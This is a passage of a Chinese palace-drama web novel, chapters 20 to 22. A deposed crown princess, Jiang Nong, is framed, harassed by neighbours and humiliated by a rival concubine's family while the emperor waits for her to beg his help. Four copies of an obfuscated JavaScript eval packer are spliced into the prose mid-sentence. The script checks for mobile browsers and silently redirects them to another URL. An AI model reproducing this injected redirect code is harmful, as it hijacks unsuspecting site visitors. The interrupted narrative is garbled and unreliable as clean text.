“咱这红袖招可是个风水宝地,连娘娘都要在咱们对面做生意。” “什么娘娘,没听到那位大人说她是温昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272209|166015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太子妃吗?前朝的娘娘,没权利没地位,估计日子过的艰难,才出来抛头露面的。” “她长得这么美,开什么书肆啊,既然都到了红袖招对面,还不如出来接客,这可比开书肆赚钱多了!” 姜秾听着那些不堪入耳的声音,脸上一阵红一阵白,她怒道:“既然知道本宫的身份,还不放开!” 宋鸣志的目的已经达到,对两个下属使了个眼色,两人放开姜秾。 姜秾眸中怒气翻涌,“宋鸣志,你肆意污蔑本宫,以下犯上,真以为本宫不能拿你怎么样?” 宋鸣志道:“什么叫污蔑?这些违禁书可是货真价实的,人赃俱获,娘娘还有什么可抵赖的!”说着,他将手里的违禁书籍往姜秾面前一丢。 姜秾接过书,看了一眼,发现这根本就不是她的书肆的,连她也不知道这些书是从哪里来的! 不等姜秾想明白,这时刚才退下的两个人,再次围拢上来。 姜秾往后退了一步,“你们要干什么!” 宋鸣志眼底闪过一丝狠戾,“俗话说的好,天子犯法与庶民同罪,娘娘既然在这里售卖违禁书籍,那就跟我去顺天府衙门走一趟。” 两个人上前就拿住姜秾,姜秾挣扎起来,“你们放开我!” 就在这时,身后传来一声呵斥,“住手!” 姜秾循声看过去,只见谢熙扬正大步朝这边走来,身边还跟着一个姜赐。 谢熙扬走到跟前,见两人还抓着姜秾,抬腿将两人蹿开,把姜秾扯过来护在身后。 “混账,温昭太子妃也是你们这些杂碎能动的?你们眼里还有没有王法?” 宋鸣志本要将姜秾给带回衙门,再好好羞辱一番,给自己在宫中的堂妹报仇,没想到居然有人站出来坏他的好事。 “你是谁?本官正在办差,你敢阻拦本官,不怕本官将你一并抓了去?” 谢熙扬眼神冰冷,“我的名字你们还不配知道,我告诉你,温昭太子妃,即便再无权无势,也不是你们这些杂碎能动的!” “臭小子,多管闲事是吧,来人把他给我一起抓起来。” 谢熙扬也不是吃素的,在宋鸣志派人动手后,立马吩咐自己的随从收拾这些人,一番较量之下,宋鸣志的人输了,各个都挂了彩,宋鸣志气急败坏的指着谢熙扬,“臭小子,你打本官,就等着吃官司吧!” 20. 第 20 章 宋鸣志带着自己的人落荒而逃。 姜秾看着小小的书肆一片狼藉,轻轻叹了口气,这时,李善跪到她面前,一脸的伤哭着说道:“东家,对不住,这些禁书都底下的伙计带进来的,我一时没有注意,才让人钻了空子。” 姜秾并无怪罪他的意思,“你起来吧,书肆暂时开不了,你先回去养伤,等重新开张的时候,你再回来。” 说着,她拿出一锭银子给李善,李善接过去对着姜秾千恩万谢一番之后便走了。 姜秾回头看着谢熙扬,“谢公子,这次多亏了你。” 谢熙扬对她露出淡淡一抹微笑,“夫人不用这么客气,我也是顺道经过这里,此事我会上报皇上,我相信皇上会秉公处置。” 姜秾听罢,只是苦笑,他秉公处置又怎么样,她在这里开书肆的事情已经传开了,名声也坏了,皇家的脸面也被她丢尽了,到时候他恐怕要惩治的就是她了。 姜秾道:“谢公子,还是莫要同皇上说了。” 谢熙扬忽然就明白过来,连她和男子走在大街上,皇上都会不悦,若是知道她把书肆开在青楼对面,恐怕会更加不悦。 谢熙扬道:“那你手底下这两个伙计交给我,我把他们送到顺天府衙门去,再写一张状纸,那顺天府府尹与我是故交,必然秉公处理。” 姜秾点头,“那就有劳谢公子了。” 谢熙扬笑了笑,“时间不早了,我送夫人回府吧。” 姜秾没有拒绝,两人坐上马车,谢熙扬骑着马跟在一侧,半个时辰后,一行人抵达甜水巷的姜家。 苏氏在门口等候多时。 见女儿从马车里下来,她快步迎上去,拉着女儿左右瞧了瞧,“秾儿,你没事吧?” 姜秾道:“娘,我没事,多亏了谢公子帮我。” 苏氏的目光这才落在谢熙扬身上,谢熙扬拱手,恭敬的喊了声:“姜夫人。” 苏氏将人认出来,脸上顿时有了笑容,“谢公子,竟然是你,你爹娘可好?” 谢熙扬笑道:“多谢夫人记挂,他们都很好。” 谢父曾经就是鸿胪寺卿,和姜家有些往来,故而苏氏认得谢熙扬,对他的爹娘也有印象。 苏氏点点头,随后又道:“今日公子帮助小女,妾身无以为报,不知公子可愿意赏脸来寒舍坐一坐,喝杯清茶?” 谢熙扬婉言拒绝,“多谢姜夫人美意,晚辈还有要事要去一趟衙门,就不打扰了,改日再登门拜访。” 苏氏也没有强留,道别之后,目送谢熙扬离开,便拉着女儿进屋了。 苏氏了解完事情的始末后,脸色冷下来,“宋家真是欺人太甚。” 姜秾想到当初在御花园激宋紫茵对自己动手一事,心里有些懊悔,“都怪女儿当初一时冲动,没有顾及后果。” 苏氏却道:“这怎么能怪你,就算你没做过那件事,宋家也不一定会放过咱们。” 宋,姜两家结怨已深,宋家对他们姜家动手是迟早的事情,姜秾的事情只是一个引子而已。 苏氏沉吟片刻,“等你三叔,三婶回来,咱们跟他们商量一下该怎么对付宋家。” 在她看来,宋家既然要整姜家,那就绝对不可能只有这件事,后面肯定还会生出更多的事端来,她得让三房有个心里准备。 等三房的人回来后,苏氏将事情的前因后果都说了一遍,苏氏道:“是我连累了你们,三弟,三弟妹,你们若是有什么想法,尽管说出来。” 刘氏却道:“我们能有什么想法,二嫂,你不会是想趁机跟我们分家吧,我告诉你,你想都别想,咱们可是说好了,有苦一起吃,有难一起扛的。” 苏氏却有些为难道:“如今宋家是官,咱们不过是普通老百姓,拿什么跟人家去斗,他们针对的是我们二房,你们犯不着把自个搭进来。” 姜穗却不以为然,“二伯母说的这是什么话,昔年二伯父在时,我们三房没少享受好处,我们不能只享受好处,而不接受坏处,不是吗?” 苏氏和姜秾对视一眼,再一次被说服了。 可事情却没有她们预想的这么乐观。 谢熙扬在离开姜家之后,便去了顺天府衙门,直接敲了堂外的悬鼓,衙门里的官都闻声赶来,顺天府府尹隋文泰看到谢熙扬之后,瞪大眼睛,“原来是谢大人,不知大人击鼓所为何事?” 谢熙扬道:“自然是来告状的。” 于是他从怀里拿出状纸,隋文泰看完之后,当即勃然大怒,立马下令,“速速将宋鸣带过来!” 宋鸣志当然不认,只说自己是公事公办,谢熙扬自然知道这点奈何不了他,他告的是宋鸣志以下犯上,侮辱温昭太子妃。 结果是宋鸣志被打了三十个板子关了起来。 宋鸣志嘴里叫着冤枉,实则心里根本无所谓,反正他关不了多久家里就会有人过来保他出来,但是经过这么一闹,那太子妃的名声也彻底坏了,他跟宫里的堂妹也能交差了。 宋鸣志被关的消息很快就传到了宋选侍耳朵里。 宋选侍了解清楚事情的来龙去脉后,面露讥讽,“这个姜秾可真是个狐狸精,才刚出宫,便又勾引上了谢家公子。” 她的贴身宫女春红鄙夷的说道:“可见她就不是个安分的女人,如今大公子这么一闹,谁都知道她在外开书肆丢皇上的脸了,这事情若是传到皇上耳朵里,定不会轻饶她。” 宋选侍得意的扬了扬唇,对春红说道:“你去找机会把事情透露到皇上耳朵里,我就不信皇上不处置她。” 春红点头。 果然这事情没多久就被宗焱知道。 等宋有祥说完后,宗焱目光顿了顿,“是宋家人在背后捣鬼?” 宋有祥点头道:“是的皇上,可让奴婢派人去教训宋家人?” 宗焱道:“不必了,暂时不用管。” 他正愁找不到机会,宋家就主动送上门来,让宋家去闹,最好闹到事情不好收场,闹到她无路可走,她自然就会回来求他。 宋有祥应了声“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283818|166015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好”便不再多问。 第二天,宋选侍见皇帝这边竟然才没有任何动静,一时有些不明白,便去昭阳宫请教淑妃。 淑妃闻言,只是笑了,“既然皇上不管,不如就一不做二不休,彻底整垮姜家。” 宋选侍愣了愣,眼底闪过一丝迟疑道:“姜家早就已经垮了,如今姜家人都是普通平民,娘娘说要把他们整到什么地步?” 淑妃觉得宋选侍可真不够聪明,但正因为她不够聪明才好利用。 淑妃道:“这算什么,姜徵在世时,陷害忠良,贪赃枉法,姜家的人在他的庇佑下享受了这么多年的富贵,如今姜徵死了,姜家之人却还活的好好的,难道他们不该赎罪吗?皇上没要他们的命,实在是太仁慈了。” 宋选侍听完,冷不丁的打了个哆嗦,再看淑妃的脸,只见她眼底闪过一丝阴狠,宋选侍心生凉意,也不敢反对,只是道:“娘娘要臣妾做什么臣妾就做什么,臣妾定然不会让娘娘失望。” 淑妃妩媚的红唇勾起一丝笑,“很好,去吧,希望你不要让本宫失望。” 宋选侍走后,淑妃翘起的嘴角慢慢下沉,脸上只余下一片冰冷。 既然那个贱人不管到哪里,皇上都惦记,不如就彻底毁了她,毁了姜家,看皇上还怎么惦记。 宋选侍从昭阳宫出来后,很快又让春红派人出宫传话。 而姜秾还不知自己如今已遭人算计了。。 第二天,她如同往常一样出门,然而,刚打开门,一把菜叶子迎面扔过来,姜秾伸手遮挡,这时,匀檀猛地上前,将她挡在身后,那些臭鸡蛋,烂菜叶子,全部砸在匀檀的身上。 姜秾看着那些挎着篮子对着她们骂骂咧咧的街坊邻居,低吼了一声,“你们这是做什么?” 赵翠花叉着腰指着她道:“原来,你是大奸臣姜徵的女儿,真是白瞎了我昨天给你们家送的一篮子鸡蛋,你爹坏事做尽,搜刮了不知多少民脂民膏,我们老百姓苦不堪言,你们居然还有脸活在世上,你们怎么不去死!” 之前这些邻里不知道他们的真实身份,对他们还挺好的,没想到知道她是姜徵的女儿,反应会这么激烈,可见这些人有多么恨他们姜家。 她知道不可能这么容易被幸免,她爹犯下的错,终究是要她这个做女儿的来尝还的。 姜秾对着众人福了一福,“各位婶娘,过去我爹的确做过许多错事,可他如今已然死了,我们姜家之人也人人向善,还望诸位给我们一个改过自新的机会。” 赵翠花根本听不进去,反而“呸”了一声,"我给你们机会,谁给那些被你爹害死的人一次机会?” 她刚说完,其他的人也跟着附和起来。 “对,没错!” “滚出甜水巷!滚出甜水巷!”那些人再次拿着烂菜叶子砸过来,姜秾只得退回院子,紧紧的关上大门,然而外头的叫骂声却不绝于耳。 姜秾浑身都在抖。 为什么,她都一忍再忍了,那些人还要这样步步紧逼。 21. 第 21 章 这时,听到叫骂声的苏氏已经从房内走出来,见姜秾和匀檀皆是一身狼狈,苏氏快步走上前,“秾儿,你怎么弄成这样?外头发生什么了?” 姜秾并没有隐瞒,苏氏听完姜秾所述,感到一阵羞惭。 她丈夫是奸臣,曾经做过不少祸国殃民之事,她们的确都该死,可蝼蚁尚且偷生,何况是人? 自从她们住进甜水巷之后,待这些邻里们也不薄,她们为何要这样咄咄逼人。 苏氏很气愤,但知道这些人都不是坏人,不想把事情做的太绝,“秾儿,咱们回屋去吧,这些人不必理会,等她们闹够了,自然就会走。” 姜秾见她娘一脸隐忍,便提议道:“娘,还是报官吧。”她觉得事情不是偶然,宋鸣志刚找人砸了她的书肆,揭穿她的身份,这些街坊邻居就来她家门口闹,这未免太巧合了,仿佛是有人刻意安排的。 苏氏摇摇头,“秾儿,且不说这些人都是无辜百姓,顺天府有宋家的人,又怎么会帮咱们家来解围?” 苏氏说的也并非没有道理,但是姜秾觉得,这些人既然有意闹事,便不会轻易罢休。 姜秾沉吟片刻,说道:“娘,我可以不报官,但是我不能容忍她们如此放肆。” 姜秾思虑片刻后,便有了主意,她对匀檀道:“匀檀,走,咱们去厨房。” 匀檀也顾不得浑身脏污,赶紧点头,厨房里正放着已经烧好的热水,姜秾和匀檀一起,将热水倒出来,又叫上小厮提出去。 苏氏见姜秾命人提了一大桶热水出来,苏氏不解道:“秾儿,你这是要做什么?” 姜秾咬咬牙道:“当然是以彼之道还施彼身。” 跟着,她打开门走出来,众人的叫骂声犹自不停,姜秾给匀檀使了个眼色,匀檀舀了一瓢滚烫的水,猛地朝众人泼去,那些人被烫的发出尖叫声,纷纷往后退。 赵翠花气急败坏的说道:“姓姜的,你居然敢拿热水泼我,你不想活了是不是!” 姜秾冷笑道:“门口这块地是我们家的,地上太干,我泼些水有什么不对吗?是你们非要站在我家的地上,被泼脏了,也是你们活该,怪不得旁人!” 赵翠花声音尖利起来,“小贱人是故意的,给我砸死她!” 姜秾见这些人还要动手,她的目光冷冷扫过众人,板着脸道:“你们再扔打我一下试试?既然你们知道我是姜家女,那也应当清楚,我还是皇上亲封的温昭太子妃,你们除了公然辱骂我,竟然还殴打我,以下犯上,难道就不怕将牢底坐穿?” 赵翠花被她的气势所慑,心中一慌,但他还在强装镇定,“你少吓唬我!就算你是太子妃又怎么样?无权无势,谁会把你放在眼里?” 姜秾都道:“就算我无权无势那又如何?只要我的身份在这里,只要我往上告,就算顺天府不受理,刑部,大理寺,难道都不管吗?” 众人对视一眼,纷纷露出忌惮的神色,姜秾见众人已经被她吓到了,厉呵一声,“赶紧给我滚,你们若是再敢过来闹,别怪我对你们不客气!” 众人一哄而散,姜秾命人将地上的脏东西收拾干净,拉着苏氏回屋。 她清理干净身上的污渍,又换了身衣裳,和匀檀一起从房里走出来。 见苏氏守在外面,姜秾走过去,坐在她身侧,“娘,今日那些人你也瞧见了,上京是个是非之地,咱们还是离开这里吧。” 苏氏还在犹豫,“可是你三叔一家又该怎么办?” 姜秾想劝三叔一家子跟她们一起离开这里,她们去余杭老家,到那边一样可以做生意,还不会被人打扰。 然而话还没说话,姜穗身边的丫鬟新月就匆匆跑进来,新月头发凌乱,十分狼狈,甫一见到苏氏和姜秾,便发声大哭,“夫人,三小姐,不好了,三老爷和三夫人,还有四小姐都被官差给抓起来了。” “什么!”姜秾和苏氏惊的从位置上赫然站起来。 姜秾见苏氏身子踉跄往后退,赶紧伸手扶住她,回头脸色严肃的看着新月,“到底发生什么了?” 新月抽抽搭搭的将事情的前因后果都说完,原来今日三叔的小酒馆,竟然有客人在吃了酒菜后,口吐白沫气绝身亡,三叔被指在酒菜里下毒,被顺天府的官差抓到衙门里去了。 姜秾气的差点揉碎了手中的帕子,又是顺天府,这肯定跟宋鸣志脱不了干系,这些人定然是冲着她来的! 然而姜家的祸事还远不止这些。 几人惊魂未定,姜赐垂头丧气从外面进来,姜秾看到他耷拉着脸,心里有种不好的预感,“赐哥儿,你不是去崇文书院报名了么?怎么又回来了?” 姜赐抬头看着姜秾,满脸委屈道:“三姐姐,我想报名参加崇文书院的入学考试,谁知书院的人知道我的身份后,便将我的名字给划掉了,如今我连考试的资格都没有了。” “怎么会这样。”姜秾简直不敢相信,宋家连姜赐都不放过,这是要断绝她姜家所有的生路。 姜秾在经过短暂的慌乱之后,很快又镇定下来,她对姜赐道:“赐哥儿,你的事情暂时先搁一搁,咱们得先救你爹娘。” 姜赐大惊,“我爹娘怎么了?” 姜秾把事情的前因后果都跟姜赐说了一遍,原本以为姜赐会惊慌失措,没想到他十分冷静,姜赐道:“三姐姐,我爹娘和姐姐一定是被人陷害的,我要去救他们,我要去衙门替他们升冤。” 姜秾点点头,“好,姐姐随你一同前往。” 两人抵达顺天府衙门后,见到府尹隋文泰,说明来由后,隋文泰说道:“温昭太子妃,下官只是秉公办事,若您认为您的家人是冤枉的,还请拿出他们被冤枉的证据,否则下官也是爱莫能助。” 姜秾道:“证据本宫一时半会也查不出来。” 说着,她的目光看向一旁得意洋洋的宋鸣志,“在上京,与我姜家结仇之人甚多,指不定有人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292255|166015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后捣鬼。” 宋鸣志见姜秾这话对着自己说,他冷笑道:“温昭太子妃,你瞧着下官做什么,难不成这事情还是下官为了陷害你们姜家故意为之不成?” 姜秾冷冷道:“是不是宋治中做的,你自个心里清楚。” 隋文泰也不想得罪这尊大佛,但也不想继续这样无意义的纠缠,“温昭太子妃,不管您说的是谁,请先拿出证据来,届时谁是谁非自然能见分晓。” 姜秾只得从衙门里离开,才刚走出衙门,便将宋鸣志追出来,“温昭太子妃留步。” 姜秾回过头来,只见宋鸣志大步走上前来,姜秾冷冷道:“宋大人真是好手段,在这里当一个区区治中似乎委屈你了。” 宋鸣志轻蔑的说道:“姜家人今日遭遇的一切都是罪有应得,宋某只是替天行道而已。” 姜秾咬咬牙,“果然是你。” 宋鸣志也不怕她知道,他从怀里掏出一张请柬,递给姜秾,“温昭太子妃,想不想救你的家人,就看你自己个了。” 姜秾伸手接过,宋鸣志转身就走,等人进了衙门,姜秾才打开请柬,过几天便是宋家老太君六十大寿,在府上办宴,这张请柬,便是请她去参加寿宴的。 马车内,姜赐见姜秾盯着手中的请柬出神,对姜秾说道:“三姐姐,让我去吧。” 姜秾淡淡笑了一下,摇头拒绝,“赐儿,她们针对的是我,你去了没用。” 姜赐点了点头,眼眶已经湿润了,姜秾却安慰他道:“你放心,我是温昭太子妃,宋家没那个胆子对我动手。” 承乾殿内,宋选侍刚离开,宋有祥道:“皇上,听说宋家此次寿宴邀请了温昭太子妃参加,您现在放宋选侍回府,两人若是撞上了,岂不是很麻烦。” 宗焱闻言,神色微微一顿,随后又一脸不甚在意的说道:“是吗?” 正当宋有祥以为没有下文的时候,宗焱薄唇一张,淡淡的问了一句,“她怎么样了?” 宋有祥赶紧道:“娘娘不太好,如今书肆关了,街坊邻居又围着姜家闹事,逼着他们滚出甜水巷,三房一家子现在又被关起来,太子妃去了一趟衙门,似乎也没什么结果。” 宋有祥知道宗焱记挂着姜浓,因此没少派人出去打听姜秾的事情。 见宗焱沉吟不语,宋有祥又道:“皇上,娘娘这些日子在外头也受了不少苦,要不您还是将她召回来吧,有您护着她,兴许不会有人欺负她。” 宗焱闻言,只是淡淡一哂,“她未必会这么想。” 宋有祥却笑了笑,“之前娘娘或许不明白,可这会她遇到了这么大的难事,又岂会不知除了您没有其他人能帮她,只是碍于面子不好对您低头,不若您主动给她一个台阶下?” 宋有祥说的,并非没有道理,宗焱的手伸入袖里,在无人看见的地方,指腹轻轻摩挲着藏在里面的小衣,“去,宣她入宫来见朕。” “奴婢遵命。” 22. 第 22 章 姜秾拿到请柬回去后,并未跟苏氏提起,只说了衙门里的情况,而苏氏也没闲着,带着人去酒馆查看情况,谁知酒馆里的伙计已经逃之夭夭了,这事情现在死无对证。 苏氏将情况告诉姜秾,姜秾也一筹莫展,她原本想找谢熙扬帮忙,这时,嬷嬷过来了,“娘娘,宫里头派人过来了。” 听到“宫里”二字,姜秾一颗心也提起来,起身到外面去见客。 过来传话的小太监她认识,是宋有祥的干儿子长明。 长明道:“娘娘,皇上请您入宫一趟。” 见姜秾不说话,长明怕她误会,又赶紧补了一句,“皇上只想跟娘娘说会话,娘娘不用担心。” 姜秾却依旧没有做出回应,这个节骨眼上,他找她做什么?莫非他知道些什么? 长明只得催促道:“娘娘,走吧,皇上还在宫里等着你。” 姜秾无奈,换了身衣裳便跟着长明入宫了。 承乾殿内,宗焱刚批完奏章,他坐在西暖阁的圈椅上,宋有祥给他递上了一盏明前茶,宗焱伸手接过,这时,一阵轻盈的脚步声传来。 宗焱目光微顿,一抬头,正好瞧见姜秾打起帘子进来。 她今日穿得是鹅黄色交领袄衫,并山岚色马面裙,乌发简单的挽了一个发髻,用玉簪子固定。 是极普通的民间女子的装扮,可那张脸却似月中聚雪,清透白净,一双杏眼,一点朱唇,明媚非常。 姜秾瞥了一眼天子,便上前行礼,“妾身参见皇上,皇上万安。” “平身。” 一股淡淡的香气袭来,宗焱眉目不自禁的舒展来开。 姜秾站起来,抬头朝皇帝看去。 皇帝身穿象牙白的团龙袍,身躯笔挺利落,锋芒隐现,俊美的脸带着万年不变的冷肃,“不知皇上召见妾身所为何事?” 宗焱抬起眼皮朝她看去,“听说你遇到麻烦了?” 他是皇帝,耳目众多,知道自己的事情也不奇怪,她点头道:“家里的确遇到了一些事情。” 宗焱淡淡的问道:“可能解决?” 姜秾迟疑了片刻说道:“可以解决。” 宗焱见姜秾眉眼间带着忧色,明明已经火烧眉毛了,却还在强壮镇定,宗焱有意试探,“若你需要帮忙,可以同朕开口,不管多难,朕都能替你解决。” 姜秾对他的性情是有些了解的,她知道皇帝不会白白帮她,他若是真帮了她,一定会让她付出相等或者更大的代价。 姜秾想也没想便拒绝,“多谢皇上的好意,妾身暂时不需要。” 宗焱见她如此干脆果决,倒是很意外,旋即,他冷笑了一声,“姜秾,有时候人没必要这么逞强。” 宋家如今就像恶狗一样攀咬姜家,她根本就解决不了。 姜秾一抬眸,发现皇帝正看着她,两人对视片刻,皇帝眼底强烈的压迫感还是让她心里打鼓,她眼神一闪,避开他的视线,“这算是妾之事,不用皇上操心。” 宗焱见她如此执拗,也不再劝阻,他的脸色比刚才冷淡了几分,“既如此,你退下。” 姜秾松了口气,赶紧屈膝行礼,“妾身告退。” 姜秾出宫之后,并没有直接回府,而是去了鸿胪寺的官署,当她亮出身份说要见谢熙扬时,却被官差告知,谢大人这几日正在招待番邦使臣,如今不在官署内。 姜秾只得离开,上了马车后,又觉得自己过于病急乱投医,谢熙扬虽然是官身,可他是鸿胪寺卿,又怎能插手顺天府之事?她只能靠自己了。 “你说什么?皇上又召见了姜秾?” 消息传到淑妃耳朵里,她轻轻的拧起了眉心,看来皇上还是放不下她,才一出事,便召她入宫,莫非是想对她施以援手? 皇上可真是稀罕那个女人,不过让她家里人吃了点苦头,皇上就坐不住了。 可越是这样,她越是要整死姜秾。 淑妃咬咬牙,娇艳的脸上露出一丝狰狞,“去,将宋选侍叫过来。” 宋老太君生辰这一日,宋家宾客盈门,京中有头脸之人,几乎都来了,无他,如今宋御史被封为嘉祥侯,而他的女儿在宫里又和淑妃交好,有泰半的人,都是冲着淑妃面子来的。 姜秾扶着匀檀的手从马车内下来,她抬头看了眼头上写着“宋府”的匾额,深吸一口气,提着裙子走上去。 送上礼之后,姜秾便被小厮请进去了,宋府如今住的是新宅,富丽堂皇,十分气派,姜秾来到正厅,尽管她衣着普通,可一出现,仍然成了焦点,众人不自禁的将目光投在她身上。 好在姜秾已经习惯了旁人的打量,神情自若的走上前去。 老太君坐在正中间的太师椅上,姜秾上前见礼,“本宫祝老太君福如东海,寿比南山。” 宋府的老太君,虽然出身名门,可着实算不上什么大人物,姜秾是温昭太子妃,按理说老太君是要起身给她行礼的,但老太君却坐着并没有动,只是淡淡说了一句,“温昭太子妃真是折煞老身了,快请坐吧。” 不仅老太君,宋家其他人都没有起身行礼,尤其是宋夫人,看她的眼神,三分轻蔑三分嘲弄剩下的就是三四分的厌恶,让她心里十分不舒服。 她们不喜欢自己也是应该的,毕竟两家本就有宿怨,之前她还在宫里坑了宋选侍一把。 这宋家人本不值得她如此降尊纡贵,可她今日有求于人,也不得不看人脸色了。 须臾,厅堂内一阵骚动,姜秾随着众人的目光看去,只见宋紫茵在宫女的搀扶下走进来,她穿着胭脂色织金褙子,翠色马面裙,头上戴着金步摇,一派雍容华贵的模样。 这时,宋家之人全部站起来,给宋紫茵行礼,宋紫茵赶紧上前,将老太君扶起来,随后她又给老太君祝寿,还说是皇上特地准许她出宫给祖母祝寿的,欢快的声音让在场每一个人都听得到。 姜秾见宋选侍气色甚好,春光满脸,根本不像是被禁足许久之人,也不知皇帝何时将她放出来的。 他既然将她放出来,莫非是发现当日自己落水的真相? 可就算他发现了又如何?他那样精明的一个人,她也奢望能一直瞒着他。 这边拜寿完毕之后,众人移步后花园游玩,已到四月,园内花团锦簇,高台厚榭,假山流水相映成趣,姜秾见宋紫茵在池塘边给金鱼喂食,旁边一堆贵女围着,她略一思索,便走上前去。 “宋选侍。” 随着一个娇柔的声音传来,宋紫茵抬起头来,目光落在姜秾身上,她今日穿的是一件若芽色的立领宽袖对襟长,衣裳下摆一直遮到小腿处,露出一截素色的褶裙。 衣裳虽宽大,可却遮不住她窈窕玲珑的身段,清风吹来,裙摆微晃,让她看起来如同风中弱柳一般。 为什么?这个贱人不管有多落魄,看起来都是那么优雅端方。 宋紫茵眼底闪过一丝嫉妒。 “温昭太子妃,看到本宫出来了,是不是很惊讶?” 惊讶?她一点都不惊讶,不过为了应付宋紫茵,姜秾还是淡淡的说了一句,“本宫替选侍感到高兴。” 宋紫茵见姜秾还是这样一副云淡风轻的样子,怒气上涌,“姜秾,你少在这里假惺惺的,当日要不是你陷害本宫,本宫何至于被皇上责骂还降了品级,这笔账本宫定要同你好好算一算!” 姜秾也懒得跟她虚与委蛇,她对上宋紫茵愤怒的视线,平静道:“宋选侍有什么怒气冲我撒便是,我只希望你别为难我的家人。” 宋紫茵马上就反应过来,随后她又讥诮的笑了一声,“你的家人咎由自取,和本宫可没什么关系,不过本宫的堂兄是顺天府的治中,你若是识趣的话,本宫倒是可以让他替你家人说上几句话。” 姜秾知道宋家人叫她过来,必然不会轻易放过她,“你想怎么样?” 宋紫茵指了指面前的水池道,“从这里跳下去,没有本宫的允许,不许上来。” 姜秾看了眼那水池,没有多想,闭着眼睛就跳下去。 “娘娘……” 匀檀来不及阻止,只能看着姜秾一跃而下。 宋家的水池并不是太深,姜秾跳到里面,水才刚没过颈项,春日的水冰寒刺骨,她才站没多久,浑身的血液都仿佛凝结了,这一片区域被宋紫茵派人围住了,也无人走过来,有些人远远的瞧着,也不知道到底发生了什么,只是远远的议论着。 寒意直钻骨髓,姜秾身体的每一寸都在抗拒极寒,呼吸也补充控制地急促起来,可她没有动。 宋紫茵没想到她说跳就跳,半点也没有犹豫,她见姜秾站在水池里,一张脸苍白没有血色,她紧闭着眼,一动不动的,如同水中伫立的一座雕像。 她越是这样,反而让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298740|166015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋紫茵觉得不解气。 宋紫茵气的将一把鱼食都丢进水塘里。 姜秾只感觉每一分每一秒都很难捱,也不知过了多久,头顶终于传来宋紫茵的声音,“温昭太子妃,上来吧。” 今日毕竟是她祖母的宴会,她可不想有人冻死在这里,要是闹出人命来,岂不是晦气。 姜秾走到岸边,被匀檀一把拉上去,匀檀迅速将披风紧紧的裹住她的身子,心疼到颤抖,“娘娘,您受苦了。” 姜秾猛打了几个喷嚏,随后扶着匀檀稳住身子,跟着走到宋紫茵面前。 “跳也跳了,宋选侍的火气应该消了,回头让你的哥哥把我三叔一家人都放了。” 宋紫茵却道:“太子妃,适才我只是答应让堂兄帮你家人说说话,可没说放了他们,你是不是会错意了?”说完,她脸上露出得逞的笑意。 “啪”的一声,一个巴掌狠狠的扇在宋紫茵脸上,宋紫茵看着眼前的始作俑者,气的火冒三丈,她暴躁的吼道:“姜秾,你敢打我,你是不是疯了!” 姜秾冷冷的盯着她,“你耍我,难道不该打吗?” 说着,她转身扶着匀檀的手臂,挺直脊背大步离开,徒留宋紫茵气急败坏的站在原地。 姜秾回到家里后,让小厮绕道从后门进去,谁知,刚推开后门,就看到她母亲站在门口。 苏氏瞧见女儿浑身湿透了,水顺着衣裙滴答落在地上,很快就泅开一团水渍。 姜秾背着她独自去宋家,苏氏原本有火气,可看到她这个样子,却只剩下心疼。 她上前扶着姜秾,“秾儿,怎么弄成这样?是不是宋家人欺负你了?” 姜秾朝苏氏露出一抹苦涩的笑,“娘,我今日本是去求人的,可我又将事情搞砸了,我是不是很没用?” 苏氏心疼的摸了摸她的头,内心酸楚不已,她眼眶发红道:“我的秾儿怎么会没用,在母亲的眼里,你是世上最好的姑娘。”说着,她顿了一下,“走,娘扶你回房换衣裳。” 待姜秾换好衣裳,又喝了姜汤睡下,苏氏这才从房间里出来,此时她的脸色已经是一片冷凝。 她将匀檀叫到身边来,嘱咐她好好照顾小姐。 见苏氏要走,匀檀心里一紧,“夫人,您要去哪里?” 苏氏神色淡定道:“自然是去衙门伸冤。” 说完,她快步走出去,匀檀叫了声,“夫人……”,可苏氏并没有回头。 